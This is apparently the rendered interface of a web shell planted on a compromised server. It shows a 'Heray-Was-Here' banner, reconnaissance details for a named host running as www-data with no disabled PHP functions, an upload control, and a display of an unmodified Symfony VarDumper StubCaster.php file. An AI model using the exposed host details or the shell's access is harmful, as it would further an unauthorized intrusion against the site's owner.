Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/includes/symfony/var-dumper/Caster/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/includes/symfony/var-dumper/Caster/StubCaster.php
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\VarDumper\Caster;

use Symfony\Component\VarDumper\Cloner\Stub;

/**
 * Casts a caster's Stub.
 *
 * @author Nicolas Grekas <p@tchwork.com>
 */
class StubCaster
{
	public static function castStub(Stub $c, array $a, Stub $stub, $isNested)
	{
		if ($isNested) {
			$stub->type = $c->type;
			$stub->class = $c->class;
			$stub->value = $c->value;
			$stub->handle = $c->handle;
			$stub->cut = $c->cut;
			$stub->attr = $c->attr;

			if (Stub::TYPE_REF === $c->type && !$c->class && is_string($c->value) && !preg_match('//u', $c->value)) {
				$stub->type = Stub::TYPE_STRING;
				$stub->class = Stub::STRING_BINARY;
			}

			$a = array();
		}

		return $a;
	}

	public static function castCutArray(CutArrayStub $c, array $a, Stub $stub, $isNested)
	{
		return $isNested ? $c->preservedSubset : $a;
	}

	public static function cutInternals($obj, array $a, Stub $stub, $isNested)
	{
		if ($isNested) {
			$stub->cut += count($a);

			return array();
		}

		return $a;
	}

	public static function castEnum(EnumStub $c, array $a, Stub $stub, $isNested)
	{
		if ($isNested) {
			$stub->class = $c->dumpKeys ? '' : null;
			$stub->handle = 0;
			$stub->value = null;
			$stub->cut = $c->cut;
			$stub->attr = $c->attr;

			$a = array();

			if ($c->value) {
				foreach (array_keys($c->value) as $k) {
					$keys[] = !isset($k[0]) || "\0" !== $k[0] ? Caster::PREFIX_VIRTUAL.$k : $k;
				}
				// Preserve references with array_combine()
				$a = array_combine($keys, $c->value);
			}
		}

		return $a;
	}
}

Hry